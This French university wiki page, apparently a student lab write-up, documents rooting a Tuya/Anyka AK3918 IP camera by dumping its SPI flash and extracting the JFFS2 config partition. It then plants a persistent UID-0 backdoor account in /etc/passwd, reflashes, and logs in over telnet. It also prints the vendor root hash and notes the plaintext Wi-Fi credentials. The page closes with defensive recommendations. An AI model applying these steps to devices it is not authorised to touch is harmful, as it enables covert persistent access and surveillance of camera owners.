SE5 IdO sécurité des objets 2026/2027 b7

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche

Casse d'une caméra IP Tuya / Anyka AK3918

Introduction

L'objectif de ce travail est d'obtenir un accès root sur une caméra IP de surveillance construite autour d'un SoC Anyka AK3918AV130 et exploitant la plateforme Tuya, puis de rediriger son flux vidéo vers un autre appareil connecté au même réseau que la caméra.

Cette page documente la partie « accès root », obtenue en deux temps : une tentative par le port de debug UART découvert sur le PCB, puis un accès root complet via l'analyse et la modification de la mémoire flash. La partie « redirection du flux vidéo » n'est pas encore terminée et fera l'objet d'un complément ultérieur.

1. Démontage et accès UART

Après démontage du boîtier, on identifie les composants principaux de la carte :

  • le SoC principal : Anyka AK3918AV130, un ARM (arm926ejs) avec encodeur vidéo matériel et NPU pour la détection ;
  • la mémoire flash SPI NOR : 8 Mio (16 Mbit), boîtier SOIC-8, contenant l'intégralité du firmware ;
  • le module Wi-Fi : SSV6x5x en USB ;
  • le capteur vidéo, piloté par anyka_ipc.
Camera ip exterieur.jpg
PCB top.jpg
PCB bottom.jpg

L'analyse du PCB fait apparaître trois pads de test non peuplés, sérigraphiés TX, RX et GND. Un fil est soudé sur chacun des trois pads, puis relié à un bridge UART-USB. Après plusieurs essais à différents baud rates, une console série s'affiche correctement au démarrage.

Cette console donne accès aux logs de boot et à un shell, mais sans privilège root, ce qui ne permet aucune action utile en l'état. Plusieurs couples d'identifiants génériques sont testés (root:root, admin:admin, etc.), sans succès.

En parallèle, un scan de ports confirme que la caméra expose déjà des services réseau :

nmap -p- <ip caméra>
PORT     STATE SERVICE
21/tcp   open  ftp
23/tcp   open  telnet
6668/tcp open  irc

Le port 6668/irc est surprenant : rien ne laisse penser à ce stade qu'un service IRC devrait tourner sur cette caméra, ce qui mériterait une investigation à part. Une connexion telnet est tentée avec les mêmes identifiants génériques, sans plus de succès :

telnet <ip caméra>
anyka login: root
Password: 
Login incorrect
anyka login: admin
Password: 
Login incorrect
Connection closed by foreign host.

Ni la console UART ni le réseau ne donnent donc d'accès root avec des identifiants standards. L'accès root doit être obtenu par une autre voie : l'analyse de la mémoire flash.

2. Lecture de la flash

SPI Flash.jpg

En observant la sortie de l'UART de debug au démarrage, on constate qu'il est possible d'interrompre le boot en appuyant sur Ctrl+C dans la première seconde qui suit la mise sous tension. Cette étape est indispensable : une fois le noyau démarré, le processeur envoie en continu des instructions à la flash SPI et modifie son état en permanence, ce qui rend toute lecture sur clip impossible sans dessoudage. En interrompant le boot avant le démarrage du noyau, le processeur reste inactif vis-à-vis de la flash, qui peut alors être lue de façon fiable directement sur la carte.

U-Boot 2019.10.0-V4.0.27 (Nov 16 2025 - 22:59:15 +0800)

CPU: 960MHz
Model: EVB_CBD_AK3918AV130_V1.0.0  board
DRAM:  64 MiB
Flash: SF: Detected XM25QH64D with page size 256 Bytes, erase size 4 KiB, total 8 MiB
8 MiB
Loading Environment from SPI Flash... OK
Hit CTRL+C to stop autoboot:  0 
=>

Le boot est interrompu au tout début, avant tout accès de la flash par le noyau. Au passage, la console confirme la référence exacte de la puce : une XM25QH64D (page de 256 octets, secteur d'effacement de 4 Kio, 8 Mio au total).

La flash est donc lue « sur clip », sans dessoudage, avec un programmateur CH341A et l'outil flashrom :

sudo flashrom -p ch341a -r dump1.bin
sudo flashrom -p ch341a -r dump2.bin

Deux lectures sont effectuées puis comparées par leur empreinte MD5, car une lecture SPI sur clip peut produire des octets flottants sans erreur explicite :

md5sum dump1.bin dump2.bin
# 7885c427560e628ac608181b2a7cbb19  dump1.bin
# 7885c427560e628ac608181b2a7cbb19  dump2.bin

Les deux empreintes sont identiques : le dump est exploitable. dump1.bin n'est jamais modifié directement et sert de référence pour tout retour arrière.

3. Analyse du dump

binwalk dump1.bin
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
129407        0x1F97F         Unix path: .../os/uboot/arch/arm/cpu/arm926ejs/ak3918av130/ak_module_reset.c
193828        0x2F524         Flattened device tree, size: 4313 bytes, version: 17
212992        0x34000         Flattened device tree, size: 58229 bytes, version: 17
278528        0x44000         uImage header, header size: 64 bytes, image size: 1570144 bytes,
                               image name: "Linux-4.4.302-cip94"
293988        0x47C64         xz compressed data
1851392       0x1C4000        Squashfs filesystem, little endian, version 4.0, compression:xz,
                               size: 1000275 bytes, 198 inodes
2883596       0x2C000C        JFFS2 filesystem, little endian
3145728       0x300000        Squashfs filesystem, little endian, version 4.0, compression:xz,
                               size: 4736412 bytes, 276 inodes

On en déduit le découpage de la flash :

Offset Taille Contenu Système de fichiers
0x000000 224 Kio u-boot (+ variable d'environnement) —
0x034000 58 Kio device tree (DTB) —
0x044000 1533 Kio noyau Linux 4.4.302-cip94 (image uImage) —
0x1C4000 1000 Kio système de base (monté sur /) squashfs (xz)
0x2C0000 256 Kio configuration (montée sur /etc/config) JFFS2
0x300000 4625 Kio applications (montées sur /usr) squashfs (xz)

Les deux systèmes de fichiers squashfs sont en lecture seule : aucune modification persistante n'est possible de ce côté. Toute la persistance passe donc par la partition JFFS2 de 256 Kio, seule partition inscriptible.

4. Localisation des identifiants

binwalk -e dump1.bin
_dump.bin.extracted/
├── 44000/Linux-4.4.302-cip94.bin   # noyau
├── 1C4000/squashfs-root/           # système de base (198 inodes)
├── 2C000C/jffs2-root/              # configuration (à modifier)
│    ├── passwd  shadow  group      # comptes locaux
│    ├── hostapd.conf / wpa_supplicant.conf
│    └── tuya_user.db, tuya_enckey.db, ...
└── 300000/squashfs-root/           # applications (276 inodes)

Le script de démarrage /etc/init.d/rc.local monte la partition CONFIG en jffs2 sur /etc/config, et les fichiers sensibles de /etc ne sont que des liens symboliques vers cette partition :

/etc/passwd      -> config/passwd
/etc/shadow      -> config/shadow

Conséquence directe : modifier /etc/passwd ou /etc/shadow dans le squashfs n'a aucun effet, celui-ci étant en lecture seule et de toute façon masqué par le montage. Il faut modifier le contenu de la partition JFFS2 puis réécrire l'image complète dans la flash.

Le fichier wpa_supplicant.conf de cette même partition contient en clair le SSID et le mot de passe du réseau Wi-Fi auquel la caméra est connectée. Un attaquant qui n'aurait pas encore accès à ce réseau peut donc s'y connecter directement à partir de ces identifiants, sans avoir besoin de les casser.

5. Le hash root du constructeur

Le fichier shadow de la partition de configuration contient le mot de passe du compte root :

root:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:18943:0:99999:7:::

Le préfixe $1$ désigne MD5-crypt, avec le sel kxUiQwgS. Une recherche exhaustive sur 4 caractères ainsi que les identifiants trouvés en clair dans le firmware (ht1234567, HT_IPCAM, admin…) n'ont pas permis de retrouver le mot de passe. Ce n'est pas bloquant : la caméra n'a pas besoin d'être déverrouillée pour être compromise, puisque le mot de passe peut simplement être remplacé dans la partition de configuration.

6. Fonctionnalités de debug déjà présentes

Avant toute modification, le firmware active déjà, à chaque démarrage, des fonctionnalités de debug via service.sh :

tcpsvd 0 21 ftpd -w / -t 1800 &
telnetd &
cp /usr/local/shadow /etc/config/shadow -f

Trois conséquences :

  • un serveur FTP anonyme écoute sur le port 21, avec un accès root en lecture/écriture sur toute l'arborescence ;
  • un serveur telnet écoute sur le port 23 ;
  • à chaque démarrage, /etc/config/shadow est écrasé par la copie d'usine /usr/local/shadow — un mot de passe ajouté dans shadow serait donc effacé au redémarrage suivant. /etc/passwd, lui, n'est jamais réécrit : c'est cet emplacement qui permettra la persistance.

7. Ajout d'un compte root persistant

On ajoute une ligne dans etc/passwd, dans une copie du dossier jffs2-root/ :

root:x:0:0:root:/:/bin/sh
talkech:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:0:0::/root:/bin/sh

Le hash est généré sur la machine de travail :

openssl passwd -1 -salt kxUiQwgS 'motdepasse'
# $1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/

Le compte talkech reprend l'UID/GID 0 (équivalent root). Le hash est placé directement dans passwd plutôt que dans shadow : comme shadow est réécrit à chaque démarrage par la copie d'usine (section 6), un mot de passe qui y serait ajouté disparaîtrait immédiatement, alors que passwd n'est jamais touché. C'est ce qui rend le compte persistant après redémarrage.

8. Reconstruction et réinjection de l'image JFFS2

Le dossier modifié est rempaqueté avec mkfs.jffs2 :

sudo /usr/sbin/mkfs.jffs2 -d jffs2-root/ -o new_jffs2.img \
     --eraseblock=0x40000 --pagesize=0x1000 -l -n -X lzo

puis réinjecté dans une copie du dump, à l'offset exact de la partition CONFIG :

cp dump1.bin newfirmware.bin
dd if=new_jffs2.img of=newfirmware.bin bs=1 seek=$((0x2C000C)) conv=notrunc

conv=notrunc est indispensable, sinon dd tronque le fichier de sortie et le reste du firmware est perdu. L'offset 0x2C000C (et non 0x2C0000) correspond au premier nœud JFFS2 rapporté par binwalk, les 12 premiers octets de la partition étant occupés par le cleanmarker du constructeur.

Vérification que l'écriture a eu lieu au bon endroit :

cmp dump1.bin newfirmware.bin
# dump1.bin newfirmware.bin differ: byte 2883599, line 11834

9. Reflashage et vérification

L'image modifiée est réécrite dans la flash avec le même programmateur, puis relue pour vérification :

sudo flashrom -p ch341a -w newfirmware.bin
sudo flashrom -p ch341a -r verif.bin
md5sum newfirmware.bin verif.bin

Le compte ajouté est bien retrouvé dans la flash après reflashage :

grep -abo "talkech" verif.bin
# 2906206:talkech

dd if=verif.bin bs=1 skip=$((0x2C57DE)) count=200 2>/dev/null | strings -a
# root:x:0:0:root:/:/bin/sh
# talkech:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:0:0::/root:/bin/sh

10. Connexion root via telnet

Une fois la caméra reflashée, remontée et reconnectée au réseau, le compte ajouté à la section 7 permet de se connecter en root directement par telnet, sans repasser par le programmateur SPI :

telnet <ip caméra>
anyka login: talkech
Password: 

# whoami
root

11. Conclusion

La caméra n'offre aucune protection matérielle de son firmware : la flash SPI est lisible et inscriptible directement sur la carte, et le micrologiciel n'est ni signé ni chiffré. La reconstruction de la partition JFFS2 permet de créer un compte root persistant sans casser le mot de passe d'usine, en exploitant le fait que /etc/passwd n'est jamais restauré au démarrage contrairement à shadow.

Le firmware active en plus, par défaut, un serveur FTP anonyme en root et un serveur telnet, déjà repérés par le scan réseau initial (section 1) : la modification de la partition CONFIG n'est donc pas nécessaire pour un attaquant déjà présent sur le réseau, elle rend surtout l'accès robuste aux redémarrages.

Côté défense : désactiver ftpd, telnetd et les modes de debug dans les scripts d'initialisation, ne pas restaurer les identifiants depuis une partition en lecture seule, ne pas stocker le SSID et le mot de passe Wi-Fi en clair dans wpa_supplicant.conf, imposer un mot de passe unique à la première installation, et activer le démarrage sécurisé / le chiffrement de la flash lorsque le SoC le permet.

La suite (redirection du flux vidéo vers un autre appareil du réseau) fera l'objet d'une prochaine mise à jour de cette page.